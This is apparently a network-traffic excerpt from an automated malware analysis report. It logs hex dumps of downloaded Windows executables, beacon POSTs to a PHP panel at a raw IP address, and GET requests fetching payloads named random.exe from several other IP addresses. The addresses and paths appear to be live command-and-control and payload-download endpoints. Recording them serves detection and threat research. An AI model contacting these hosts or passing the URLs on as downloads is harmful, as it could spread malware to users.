00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 74 67 69 63 66 71 77 6b 00 00 2b 00 00 a0 00 00 00 ee 2a 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 75 61 77 73 6e 6b 77 00 20 00 00 00 a0 2b 00 00 04 00 00 00 56 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2b 00 00 22 00 00 00 5a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 10:12:57 GMTContent-Type: application/octet-streamContent-Length: 776832Last-Modified: Tue, 17 Dec 2024 09:45:14 GMTConnection: keep-aliveETag: "6761482a-bda80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 9c 04 00 00 d0 02 00 00 9c 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 9c 04 00 00 70 07 00 00 9c 04 00 00 10 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 10:13:01 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 10:13:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 10:13:04 GMTContent-Type: application/octet-streamContent-Length: 1880576Last-Modified: Wed, 18 Dec 2024 18:02:50 GMTConnection: keep-aliveETag: "67630e4a-1cb200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 69 eb 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 2a 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 6e 75 7a 76 6c 68 65 00 30 1a 00 00 f0 2f 00 00 2e 1a 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 7a 75 74 74 61 6e 78 00 10 00 00 00 20 4a 00 00 04 00 00 00 8c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4a 00 00 22 00 00 00 90 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 10:13:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 10:13:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 45 37 31 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32E71B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/x3team/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 34 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018424001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 34 32 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018428001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 34 32 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018429001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
